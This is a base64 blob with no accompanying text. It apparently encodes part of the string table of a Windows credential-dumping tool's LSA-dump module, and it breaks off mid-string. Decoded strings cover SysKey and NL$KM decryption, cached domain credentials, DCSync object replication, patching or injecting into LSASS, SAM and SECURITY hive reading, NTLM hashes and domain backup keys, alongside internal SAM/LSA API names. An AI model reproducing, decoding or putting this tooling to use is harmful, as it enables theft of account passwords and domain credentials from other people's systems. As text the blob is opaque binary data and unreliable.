QAIAB0AGgAZQAgAFMAeQBzAEsAZQB5ACAAdABvACAAZABlAGMAcgB5AHAAdAAgAE4ATAAkAEsATQAgAHQAaABlAG4AIABNAFMAQwBhAGMAaABlACgAdgAyACkAIAAoAGYAcgBvAG0AIAByAGUAZwBpAHMAdAByAHkAIABvAHIAIABoAGkAdgBlAHMAKQAAAGwAcwBhAAAAAAAAAEEAcwBrACAATABTAEEAIABTAGUAcgB2AGUAcgAgAHQAbwAgAHIAZQB0AHIAaQBlAHYAZQAgAFMAQQBNAC8AQQBEACAAZQBuAHQAcgBpAGUAcwAgACgAbgBvAHIAbQBhAGwALAAgAHAAYQB0AGMAaAAgAG8AbgAgAHQAaABlACAAZgBsAHkAIABvAHIAIABpAG4AagBlAGMAdAApAAAAAAB0AHIAdQBzAHQAAAAAAAAAQQBzAGsAIABMAFMAQQAgAFMAZQByAHYAZQByACAAdABvACAAcgBlAHQAcgBpAGUAdgBlACAAVAByAHUAcwB0ACAAQQB1AHQAaAAgAEkAbgBmAG8AcgBtAGEAdABpAG8AbgAgACgAbgBvAHIAbQBhAGwAIABvAHIAIABwAGEAdABjAGgAIABvAG4AIAB0AGgAZQAgAGYAbAB5ACkAAAAAAGIAYQBjAGsAdQBwAGsAZQB5AHMAAAAAAHIAcABkAGEAdABhAAAAAABkAGMAcwB5AG4AYwAAAAAAQQBzAGsAIABhACAARABDACAAdABvACAAcwB5AG4AYwBoAHIAbwBuAGkAegBlACAAYQBuACAAbwBiAGoAZQBjAHQAAABsAHMAYQBkAHUAbQBwAAAATABzAGEARAB1AG0AcAAgAG0AbwBkAHUAbABlAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBsAHMAYQBkAHUAbQBwAF8AcwBhAG0AIAA7ACAAQwByAGUAYQB0AGUARgBpAGwAZQAgACgAUwBZAFMAVABFAE0AIABoAGkAdgBlACkAIAAoADAAeAAlADAAOAB4ACkACgAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGwAcwBhAGQAdQBtAHAAXwBzAGEAbQAgADsAIABDAHIAZQBhAHQAZQBGAGkAbABlACAAKABTAEEATQAgAGgAaQB2AGUAKQAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAABTAFkAUwBUAEUATQAAAAAAUwBBAE0AAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGwAcwBhAGQAdQBtAHAAXwBzAGEAbQAgADsAIABrAHUAbABsAF8AbQBfAHIAZQBnAGkAcwB0AHIAeQBfAFIAZQBnAE8AcABlAG4ASwBlAHkARQB4ACAAKABTAEEATQApACAAKAAwAHgAJQAwADgAeAApAAoAAABrAGkAdwBpAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBsAHMAYQBkAHUAbQBwAF8AcwBlAGMAcgBlAHQAcwBPAHIAQwBhAGMAaABlACAAOwAgAEMAcgBlAGEAdABlAEYAaQBsAGUAIAAoAFMARQBDAFUAUgBJAFQAWQAgAGgAaQB2AGUAKQAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGwAcwBhAGQAdQBtAHAAXwBzAGUAYwByAGUAdABzAE8AcgBDAGEAYwBoAGUAIAA7ACAAQwByAGUAYQB0AGUARgBpAGwAZQAgACgAUwBZAFMAVABFAE0AIABoAGkAdgBlACkAIAAoADAAeAAlADAAOAB4ACkACgAAAAAAUwBFAEMAVQBSAEkAVABZAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGwAcwBhAGQAdQBtAHAAXwBzAGUAYwByAGUAdABzAE8AcgBDAGEAYwBoAGUAIAA7ACAAawB1AGwAbABfAG0AXwByAGUAZwBpAHMAdAByAHkAXwBSAGUAZwBPAHAAZQBuAEsAZQB5AEUAeAAgACgAUwBFAEMAVQBSAEkAVABZACkAIAAoADAAeAAlADAAOAB4ACkACgAAAEMAdQByAHIAZQBuAHQAAABEAGUAZgBhAHUAbAB0AAAAQwBvAG4AdAByAG8AbABTAGUAdAAwADAAMAAAAFMAZQBsAGUAYwB0AAAAAAAlADAAMwB1AAAAAABKAEQAAAAAAFMAawBlAHcAMQAAAEcAQgBHAAAARABhAHQAYQAAAAAAJQB4AAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGwAcwBhAGQAdQBtAHAAXwBnAGUAdABTAHkAcwBrAGUAeQAgADsAIABMAFMAQQAgAEsAZQB5ACAAQwBsAGEAcwBzACAAcgBlAGEAZAAgAGUAcgByAG8AcgAKAAAAAABEAG8AbQBhAGkAbgAgADoAIAAAAAAAAABDAG8AbgB0AHIAbwBsAFwAQwBvAG0AcAB1AHQAZQByAE4AYQBtAGUAXABDAG8AbQBwAHUAdABlAHIATgBhAG0AZQAAAEMAbwBtAHAAdQB0AGUAcgBOAGEAbQBlAAAAAAAlAHMACgAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbABzAGEAZAB1AG0AcABfAGcAZQB0AEMAbwBtAHAAdQB0AGUAcgBBAG4AZABTAHkAcwBrAGUAeQAgADsAIABrAHUAbABsAF8AbQBfAHIAZQBnAGkAcwB0AHIAeQBfAFIAZQBnAFEAdQBlAHIAeQBWAGEAbAB1AGUARQB4ACAAQwBvAG0AcAB1AHQAZQByAE4AYQBtAGUAIABLAE8ACgAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbABzAGEAZAB1AG0AcABfAGcAZQB0AEMAbwBtAHAAdQB0AGUAcgBBAG4AZABTAHkAcwBrAGUAeQAgADsAIABwAHIAZQAgAC0AIABrAHUAbABsAF8AbQBfAHIAZQBnAGkAcwB0AHIAeQBfAFIAZQBnAFEAdQBlAHIAeQBWAGEAbAB1AGUARQB4ACAAQwBvAG0AcAB1AHQAZQByAE4AYQBtAGUAIABLAE8ACgAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBsAHMAYQBkAHUAbQBwAF8AZwBlAHQAQwBvAG0AcAB1AHQAZQByAEEAbgBkAFMAeQBzAGsAZQB5ACAAOwAgAGsAdQBsAGwAXwBtAF8AcgBlAGcAaQBzAHQAcgB5AF8AUgBlAGcATwBwAGUAbgBLAGUAeQBFAHgAIABDAG8AbQBwAHUAdABlAHIATgBhAG0AZQAgAEsATwAKAAAAUwB5AHMASwBlAHkAIAA6ACAAAABDAG8AbgB0AHIAbwBsAFwATABTAEEAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGwAcwBhAGQAdQBtAHAAXwBnAGUAdABDAG8AbQBwAHUAdABlAHIAQQBuAGQAUwB5AHMAawBlAHkAIAA7ACAAawB1AGgAbABfAG0AXwBsAHMAYQBkAHUAbQBwAF8AZwBlAHQAUwB5AHMAawBlAHkAIABLAE8ACgAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbABzAGEAZAB1AG0AcABfAGcAZQB0AEMAbwBtAHAAdQB0AGUAcgBBAG4AZABTAHkAcwBrAGUAeQAgADsAIABrAHUAbABsAF8AbQBfAHIAZQBnAGkAcwB0AHIAeQBfAFIAZQBnAE8AcABlAG4ASwBlAHkARQB4ACAATABTAEEAIABLAE8ACgAAAAAAUwBBAE0AXABEAG8AbQBhAGkAbgBzAFwAQQBjAGMAbwB1AG4AdAAAAFYAAABMAG8AYwBhAGwAIABTAEkARAAgADoAIAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbABzAGEAZAB1AG0AcABfAGcAZQB0AFUAcwBlAHIAcwBBAG4AZABTAGEAbQBLAGUAeQAgADsAIABrAHUAbABsAF8AbQBfAHIAZQBnAGkAcwB0AHIAeQBfAFIAZQBnAFEAdQBlAHIAeQBWAGEAbAB1AGUARQB4ACAAVgAgAEsATwAKAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGwAcwBhAGQAdQBtAHAAXwBnAGUAdABVAHMAZQByAHMAQQBuAGQAUwBhAG0ASwBlAHkAIAA7ACAAcAByAGUAIAAtACAAawB1AGwAbABfAG0AXwByAGUAZwBpAHMAdAByAHkAXwBSAGUAZwBRAHUAZQByAHkAVgBhAGwAdQBlAEUAeAAgAFYAIABLAE8ACgAAAAAAVQBzAGUAcgBzAAAATgBhAG0AZQBzAAAACgBSAEkARAAgACAAOgAgACUAMAA4AHgAIAAoACUAdQApAAoAAAAAAFUAcwBlAHIAIAA6ACAAJQAuACoAcwAKAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGwAcwBhAGQAdQBtAHAAXwBnAGUAdABVAHMAZQByAHMAQQBuAGQAUwBhAG0ASwBlAHkAIAA7ACAAawB1AGgAbABfAG0AXwBsAHMAYQBkAHUAbQBwAF8AZwBlAHQASwBlACAASwBPAAoAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBsAHMAYQBkAHUAbQBwAF8AZwBlAHQAVQBzAGUAcgBzAEEAbgBkAFMAYQBtAEsAZQB5ACAAOwAgAGsAdQBsAGwAXwBtAF8AcgBlAGcAaQBzAHQAcgB5AF8AUgBlAGcATwBwAGUAbgBLAGUAeQBFAHgAIABTAEEATQAgAEEAYwBjAG8AdQBuAHQAcwAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAABOAFQATABNAAAAAABMAE0AIAAgAAAAAAAlAHMAIAA6ACAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGwAcwBhAGQAdQBtAHAAXwBnAGUAdABIAGEAcwBoACAAOwAgAFIAdABsAEQAZQBjAHIAeQBwAHQARABFAFMAMgBiAGwAbwBjAGsAcwAxAEQAVwBPAFIARAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGwAcwBhAGQAdQBtAHAAXwBnAGUAdABIAGEAcwBoACAAOwAgAFIAdABsAEUAbgBjAHIAeQBwAHQARABlAGMAcgB5AHAAdABSAEMANAAAAAoAUwBBAE0ASwBlAHkAIAA6ACAAAAAAAEYAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBsAHMAYQBkAHUAbQBwAF8AZwBlAHQAUwBhAG0ASwBlAHkAIAA7ACAAUgB0AGwARQBuAGMAcgB5AHAAdABEAGUAYwByAHkAcAB0AFIAQwA0ACAASwBPAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBsAHMAYQBkAHUAbQBwAF8AZwBlAHQAUwBhAG0ASwBlAHkAIAA7ACAAawB1AGwAbABfAG0AXwByAGUAZwBpAHMAdAByAHkAXwBSAGUAZwBRAHUAZQByAHkAVgBhAGwAdQBlAEUAeAAgAEYAIABLAE8AAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBsAHMAYQBkAHUAbQBwAF8AZwBlAHQAUwBhAG0ASwBlAHkAIAA7ACAAcAByAGUAIAAtACAAawB1AGwAbABfAG0AXwByAGUAZwBpAHMAdAByAHkAXwBSAGUAZwBRAHUAZQByAHkAVgBhAGwAdQBlAEUAeAAgAEYAIABLAE8AAABQAG8AbABfAF8ARABtAE4AAAAAAFAAbwBsAF8AXwBEAG0AUwAAAAAAJQBzACAAbgBhAG0AZQAgADoAIAAAAAAAIAAoAAAAAAApAAAAUABvAGwAaQBjAHkAAAAAAEwAbwBjAGEAbAAAAEEAYwAAAAAARABvAG0AYQBpAG4AAAAAAFAAcgAAAAAAUABvAGwAUgBlAHYAaQBzAGkAbwBuAAAACgBQAG8AbABpAGMAeQAgAHMAdQBiAHMAeQBzAHQAZQBtACAAaQBzACAAOgAgACUAaAB1AC4AJQBoAHUACgAAAFAAbwBsAEUASwBMAGkAcwB0AAAAUABvAGwAUwBlAGMAcgBlAHQARQBuAGMAcgB5AHAAdABpAG8AbgBLAGUAeQAAAAAATABTAEEAIABLAGUAeQAoAHMAKQAgADoAIAAlAHUALAAgAGQAZQBmAGEAdQBsAHQAIAAAACAAIABbACUAMAAyAHUAXQAgAAAAIAAAAEwAUwBBACAASwBlAHkAIAA6ACAAAAAAAFMAZQBjAHIAZQB0AHMAAABzAGUAcgB2AGkAYwBlAHMAAAAAAAoAUwBlAGMAcgBlAHQAIAAgADoAIAAlAHMAAABfAFMAQwBfAAAAAABDAHUAcgByAFYAYQBsAAAACgBjAHUAcgAvAAAATwBsAGQAVgBhAGwAAAAAAAoAbwBsAGQALwAAAFMAZQBjAHIAZQB0AHMAXABOAEwAJABLAE0AXABDAHUAcgByAFYAYQBsAAAAQwBhAGMAaABlAAAATgBMACQASQB0AGUAcgBhAHQAaQBvAG4AQwBvAHUAbgB0AAAAKgAgAE4ATAAkAEkAdABlAHIAYQB0AGkAbwBuAEMAbwB1AG4AdAAgAGkAcwAgACUAdQAsACAAJQB1ACAAcgBlAGEAbAAgAGkAdABlAHIAYQB0AGkAbwBuACgAcwApAAoAAAAAACoAIABEAEMAQwAxACAAbQBvAGQAZQAgACEACgAAAAAAAAAAACoAIABJAHQAZQByAGEAdABpAG8AbgAgAGkAcwAgAHMAZQB0ACAAdABvACAAZABlAGYAYQB1AGwAdAAgACgAMQAwADIANAAwACkACgAAAAAATgBMACQAQwBvAG4AdAByAG8AbAAAAAAACgBbACUAcwAgAC0AIAAAAF0ACgBSAEkARAAgACAAIAAgACAAIAAgADoAIAAlADAAOAB4ACAAKAAlAHUAKQAKAAAAAAA+ACAASwBpAHcAaQAgAG0AbwBkAGUALgAuAC4ACgAAACAAIABNAHMAQwBhAGMAaABlAFYAMgAgADoAIAAAAAAAIAAgAEMAaABlAGMAawBzAHUAbQAgACAAOgAgAAAAAAA+ACAATwBLACEACgAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbABzAGEAZAB1AG0AcABfAGcAZQB0AE4ATABLAE0AUwBlAGMAcgBlAHQAQQBuAGQAQwBhAGMAaABlACAAOwAgAGsAdQBsAGwAXwBtAF8AcgBlAGcAaQBzAHQAcgB5AF8AUgBlAGcAUwBlAHQAVgBhAGwAdQBlAEUAeAAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAAAgACAATQBzAEMAYQBjAGgAZQBWADEAIAA6ACAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGwAcwBhAGQAdQBtAHAAXwBnAGUAdABOAEwASwBNAFMAZQBjAHIAZQB0AEEAbgBkAEMAYQBjAGgAZQAgADsAIABSAHQAbABFAG4AYwByAHkAcAB0AEQAZQBjAHIAeQBwAHQAUgBDADQAIAA6ACAAMAB4ACUAMAA4AHgACgAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbABzAGEAZAB1AG0AcABfAGcAZQB0AE4ATABLAE0AUwBlAGMAcgBlAHQAQQBuAGQAQwBhAGMAaABlACAAOwAgAGsAdQBsAGwAXwBtAF8AYwByAHkAcAB0AG8AXwBoAG0AYQBjACAAKAAwAHgAJQAwADgAeAApAAoAAABVAHMAZQByACAAIAAgACAAIAAgADoAIAAlAC4AKgBzAFwAJQAuACoAcwAKAAAAAABNAHMAQwBhAGMAaABlAFYAJQBjACAAOgAgAAAATwBiAGoAZQBjAHQATgBhAG0AZQAAAAAAIAAvACAAcwBlAHIAdgBpAGMAZQAgACcAJQBzACcAIAB3AGkAdABoACAAdQBzAGUAcgBuAGEAbQBlACAAOgAgACUAcwAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBsAHMAYQBkAHUAbQBwAF8AZABlAGMAcgB5AHAAdABTAGUAYwByAGUAdAAgADsAIABrAHUAbABsAF8AbQBfAHIAZQBnAGkAcwB0AHIAeQBfAFIAZQBnAFEAdQBlAHIAeQBWAGEAbAB1AGUARQB4ACAAUwBlAGMAcgBlAHQAIAB2AGEAbAB1AGUAIABLAE8ACgAAAHQAZQB4AHQAOgAgACUAdwBaAAAAaABlAHgAIAA6ACAAAAAAACQATQBBAEMASABJAE4ARQAuAEEAQwBDAAAAAAAKACAAIAAgACAATgBUAEwATQA6AAAAAAAKACAAIAAgACAAUwBIAEEAMQA6AAAAAABEAFAAQQBQAEkAXwBTAFkAUwBUAEUATQAAAAAACgAgACAAIAAgAGYAdQBsAGwAOgAgAAAACgAgACAAIAAgAG0ALwB1ACAAOgAgAAAAIAAvACAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGwAcwBhAGQAdQBtAHAAXwBzAGUAYwBfAGEAZQBzADIANQA2ACAAOwAgAEMAcgB5AHAAdABEAGUAYwByAHkAcAB0ACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGwAcwBhAGQAdQBtAHAAXwBzAGUAYwBfAGEAZQBzADIANQA2ACAAOwAgAEMAcgB5AHAAdABTAGUAdABLAGUAeQBQAGEAcgBhAG0AIAAoADAAeAAlADAAOAB4ACkACgAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbABzAGEAZAB1AG0AcABfAHMAZQBjAF8AYQBlAHMAMgA1ADYAIAA7ACAAawB1AGwAbABfAG0AXwBjAHIAeQBwAHQAbwBfAGgAawBlAHkAIAAoADAAeAAlADAAOAB4ACkACgAAAAAAcwBhAG0AcwByAHYALgBkAGwAbAAAAAAAbABzAGEAcwByAHYALgBkAGwAbAAAAAAAbgB0AGQAbABsAC4AZABsAGwAAABrAGUAcgBuAGUAbAAzADIALgBkAGwAbAAAAAAAU2FtSUNvbm5lY3QAU2FtckNsb3NlSGFuZGxlAFNhbUlSZXRyaWV2ZVByaW1hcnlDcmVkZW50aWFscwAAU2Ftck9wZW5Eb21haW4AAFNhbXJPcGVuVXNlcgAAAABTYW1yUXVlcnlJbmZvcm1hdGlvblVzZXIAAAAAU2FtSUZyZWVfU0FNUFJfVVNFUl9JTkZPX0JVRkZFUgBMc2FJUXVlcnlJbmZvcm1hdGlvblBvbGljeVRydXN0ZWQAAABMc2FJRnJlZV9MU0FQUl9QT0xJQ1lfSU5GT1JNQVRJT04AAABWaXJ0dWFsQWxsb2MAAAAATG9jYWxGcmVlAAAAbWVtY3B5AABwAGEAdABjAGgAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGwAcwBhAGQAdQBtAHAAXwBsAHMAYQAgADsAIABrAHUAbABsAF8AbQBfAHAAYQB0AGMAaAAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbABzAGEAZAB1AG0AcABfAGwAcwBhACAAOwAgAGsAdQBsAGwAXwBtAF8AcAByAG8AYwBlAHMAcwBfAGcAZQB0AFYAZQByAHkAQgBhAHMAaQBjAE0AbwBkAHUAbABlAEkAbgBmAG8AcgBtAGEAdABpAG8AbgBzAEYAbwByAE4AYQBtAGUAIAAoADAAeAAlADAAOAB4ACkACgAAAGkAbgBqAGUAYwB0AAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBsAHMAYQBkAHUAbQBwAF8AbABzAGEAIAA7ACAAawB1AGwAbABfAG0AXwByAGUAbQBvAHQAZQBsAGkAYgBfAEMAcgBlAGEAdABlAFIAZQBtAG8AdABlAEMAbwBkAGUAVwBpAHQAdABoAFAAYQB0AHQAZQByAG4AUgBlAHAAbABhAGMAZQAKAAAAAABEAG8AbQBhAGkAbgAgADoAIAAlAHcAWgAgAC8AIAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGwAcwBhAGQAdQBtAHAAXwBsAHMAYQAgADsAIABTAGEAbQBMAG8AbwBrAHUAcABJAGQAcwBJAG4ARABvAG0AYQBpAG4AIAAlADAAOAB4AAoAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBsAHMAYQBkAHUAbQBwAF8AbABzAGEAIAA7ACAAJwAlAHMAJwAgAGkAcwAgAG4AbwB0ACAAYQAgAHYAYQBsAGkAZAAgAEkAZAAKAAAAAABuAGEAbQBlAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBsAHMAYQBkAHUAbQBwAF8AbABzAGEAIAA7ACAAUwBhAG0ATABvAG8AawB1AHAATgBhAG0AZQBzAEkAbgBEAG8AbQBhAGkAbgAgACUAMAA4AHgACgAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbABzAGEAZAB1AG0AcABfAGwAcwBhACAAOwAgAFMAYQBtAEUAbgB1AG0AZQByAGEAdABlAFUAcwBlAHIAcwBJAG4ARABvAG0AYQBpAG4AIAAlADAAOAB4AAoAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbABzAGEAZAB1AG0AcABfAGwAcwBhACAAOwAgAFMAYQBtAE8AcABlAG4ARABvAG0AYQBpAG4AIAAlADAAOAB4AAoAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbABzAGEAZAB1AG0AcABfAGwAcwBhACAAOwAgAFMAYQBtAEMAbwBuAG4AZQBjAHQAIAAlADAAOAB4AAoAAABTAGEAbQBTAHMAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBsAHMAYQBkAHUAbQBwAF8AbABzAGEAXwBnAGUAdABIAGEAbgBkAGwAZQAgADsAIABPAHAAZQBuAFAAcgBvAGMAZQBzAHMAIAAoADAAeAAlADAAOAB4ACkACgAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBsAHMAYQBkAHUAbQBwAF8AbABzAGEAXwBnAGUAdABIAGEAbgBkAGwAZQAgADsAIABrAHUAbABsAF8AbQBfAHMAZQByAHYAaQBjAGUAXwBnAGUAdABVAG4AaQBxAHUAZQBGAG8AcgBOAGEAbQBlACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAAoAUgBJAEQAIAAgADoAIAAlADAAOAB4ACAAKAAlAHUAKQAKAFUAcwBlAHIAIAA6ACAAJQB3AFoACgAAAEwATQAgACAAIAA6ACAAAAAKAE4AVABMAE0AIAA6ACAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbABzAGEAZAB1AG0AcABfAGwAcwBhAF8AdQBzAGUAcgAgADsAIABTAGEAbQBRAHUAZQByAHkASQBuAGYAbwByAG0AYQB0AGkAbwBuAFUAcwBlAHIAIAAlADAAOAB4AAoAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBsAHMAYQBkAHUAbQBwAF8AbABzAGEAXwB1AHMAZQByACAAOwAgAFMAYQBtAE8AcABlAG4AVQBzAGUAcgAgACUAMAA4AHgACgAAAFAAcgBpAG0AYQByAHkAAABDAEwARQBBAFIAVABFAFgAVAAAAFcARABpAGcAZQBzAHQAAABLAGUAcgBiAGUAcgBvAHMAAAAAAEsAZQByAGIAZQByAG8AcwAtAE4AZQB3AGUAcgAtAEsAZQB5AHMAAAAKACAAKgAgACUAcwAKAAAAIAAgACAAIABMAE0AIAAgACAAOgAgAAAACgAgACAAIAAgAE4AVABMAE0AIAA6ACAAAAAAACAAIAAgACAAJQAuACoAcwAKAAAAIAAgACAAIAAlADAAMgB1ACAAIAAAAAAAIAAgACAAIABEAGUAZgBhAHUAbAB0ACAAUwBhAGwAdAAgADoAIAAlAC4AKgBzAAoAAAAAAEMAcgBlAGQAZQBuAHQAaQBhAGwAcwAAAE8AbABkAEMAcgBlAGQAZQBuAHQAaQBhAGwAcwAAAAAAIAAgACAAIABEAGUAZgBhAHUAbAB0ACAAUwBhAGwAdAAgADoAIAAlAC4AKgBzAAoAIAAgACAAIABEAGUAZgBhAHUAbAB0ACAASQB0AGUAcgBhAHQAaQBvAG4AcwAgADoAIAAlAHUACgAAAAAAUwBlAHIAdgBpAGMAZQBDAHIAZQBkAGUAbgB0AGkAYQBsAHMAAAAAAE8AbABkAGUAcgBDAHIAZQBkAGUAbgB0AGkAYQBsAHMAAAAAACAAIAAgACAAIAAgACUAcwAgADoAIAAAACAAIAAgACAAIAAgACUAcwAgACgAJQB1ACkAIAA6ACAAAAAAAE4ATwBOAEUAIAAgACAAAABOAFQANABPAFcARgAgAAAAQwBMAEUAQQBSACAAIAAAAFYARQBSAFMASQBPAE4AAAAgAFsAJQBzAF0AIAAlAHcAWgAgAC0APgAgACUAdwBaAAoAAAAgACAAIAAgACoAIAAAAAAAdQBuAGsAbgBvAHcAbgA/AAAAAAAgAC0AIAAlAHMAIAAtACAAAAAAAC0AIAAlAHUAIAAtACAAAABsAHMAYQBkAGIALgBkAGwAbAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGwAcwBhAGQAdQBtAHAAXwB0AHIAdQBzAHQAIAA7ACAAawB1AGwAbABfAG0AXwBwAGEAdABjAGgAIAAoADAAeAAlADAAOAB4ACkACgAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbABzAGEAZAB1AG0AcABfAHQAcgB1AHMAdAAgADsAIABrAHUAbABsAF8AbQBfAHAAcgBvAGMAZQBzAHMAXwBnAGUAdABWAGUAcgB5AEIAYQBzAGkAYwBNAG8AZAB1AGwAZQBJAG4AZgBvAHIAbQBhAHQAaQBvAG4AcwBGAG8AcgBOAGEAbQBlACAAKAAwAHgAJQAwADgAeAApAAoAAAAKAEMAdQByAHIAZQBuAHQAIABkAG8AbQBhAGkAbgA6ACAAJQB3AFoAIAAoACUAdwBaAAAACgBEAG8AbQBhAGkAbgA6ACAAJQB3AFoAIAAoACUAdwBaAAAAIAAgAEkAbgAgAAAAIABPAHUAdAAgAAAAIABJAG4ALQAxAAAATwB1AHQALQAxAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBsAHMAYQBkAHUAbQBwAF8AdAByAHUAcwB0ACAAOwAgAEwAcwBhAFEAdQBlAHIAeQBUAHIAdQBzAHQAZQBkAEQAbwBtAGEAaQBuAEkAbgBmAG8AQgB5AE4AYQBtAGUAIAAlADAAOAB4AAoAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbABzAGEAZAB1AG0AcABfAHQAcgB1AHMAdAAgADsAIABMAHMAYQBFAG4AdQBtAGUAcgBhAHQAZQBUAHIAdQBzAHQAZQBkAEQAbwBtAGEAaQBuAHMARQB4ACAAJQAwADgAeAAKAAAAIAAgACoAIABSAFMAQQAgAGsAZQB5AAoAAAAAAG4AdABkAHMAAAAAAAkAUABGAFgAIABjAG8AbgB0AGEAaQBuAGUAcgAgACAAOgAgACUAcwAgAC0AIAAnACUAcwAnAAoAAAAAACAAIAAqACAATABlAGcAYQBjAHkAIABrAGUAeQAKAAAAawBlAHkAAABsAGUAZwBhAGMAeQAAAAAAAAAAACAAIAAqACAAVQBuAGsAbgBvAHcAbgAgAGsAZQB5ACAAKABzAGUAZQBuACAAYQBzACAAJQAwADgAeAApAAoAAAAJAEUAeABwAG8AcgB0ACAAIAAgACAAIAAgACAAIAAgADoAIAAlAHMAIAAtACAAJwAlAHMAJwAKAAAAAABHACQAQgBDAEsAVQBQAEsARQBZAF8AAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBsAHMAYQBkAHUAbQBwAF8AZwBlAHQASwBlAHkARgByAG8AbQBHAFUASQBEACAAOwAgAGsAdQBoAGwAXwBtAF8AbABzAGEAZAB1AG0AcABfAEwAcwBhAFIAZQB0AHIAaQBlAHYAZQBQAHIAaQB2AGEAdABlAEQAYQB0AGEAOgAgADAAeAAlADAAOAB4AAoAAAAAAGcAdQBpAGQAAAAAACAAcwBlAGUAbQBzACAAdABvACAAYgBlACAAYQAgAHYAYQBsAGkAZAAgAEcAVQBJAEQACgAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBsAHMAYQBkAHUAbQBwAF8AYgBrAGUAeQAgADsAIABJAG4AdgBhAGwAaQBkAGUAIABHAFUASQBEACAAKAAwAHgAJQAwADgAeAApACAAOwAgACUAcwAKAAAAAAAKAEMAdQByAHIAZQBuAHQAIABwAHIAZQBmAGUAcgBlAGQAIABrAGUAeQA6ACAAIAAgACAAIAAgACAAAABHACQAQgBDAEsAVQBQAEsARQBZAF8AUABSAEUARgBFAFIAUgBFAEQAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGwAcwBhAGQAdQBtAHAAXwBiAGsAZQB5ACAAOwAgAGsAdQBoAGwAXwBtAF8AbABzAGEAZAB1AG0AcABfAEwAcwBhAFIAZQB0AHIAaQBlAHYAZQBQAHIAaQB2AGEAdABlAEQAYQB0AGEAOgAgADAAeAAlADAAOAB4AAoAAAAAAAoAQwBvAG0AcABhAHQAaQBiAGkAbABpAHQAeQAgAHAAcgBlAGYAZQByAGUAZAAgAGsAZQB5ADoAIAAAAEcAJABCAEMASwBVAFAASwBFAFkAXwBQAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGwAcwBhAGQAdQBtAHAAXwByAHAAZABhAHQAYQAgADsAIABrAHUAaABsAF8AbQBfAGwAcwBhAGQAdQBtAHAAXwBMAHMAYQBSAGUAdAByAGkAZQB2AGUAUAByAGkAdgBhAHQAZQBEAGEAdABhADoAIAAwAHgAJQAwADgAeAAKAAAAAABbAEQAQwBdACAAJwAlAHMAJwAgAHcAaQBsAGwAIABiAGUAIAB0AGgAZQAgAGQAbwBtAGEAaQBuAAoAAABkAGMAAAAAAGsAZABjAAAAWwBEAEMAXQAgACcAJQBzACcAIAB3AGkAbABsACAAYgBlACAAdABoAGUAIABEAEMAIABzAGUAcgB2AGUAcgAKAAoAAABbAEQAQwBdACAATwBiAGoAZQBjAHQAIAB3AGkAdABoACAARwBVAEkARAAgACcAJQBzACcACgAKAAAAAABbAEQAQwBdACAAJwAlAHMAJwAgAHcAaQBsAGwAIABiAGUAIAB0AGgAZQAgAHU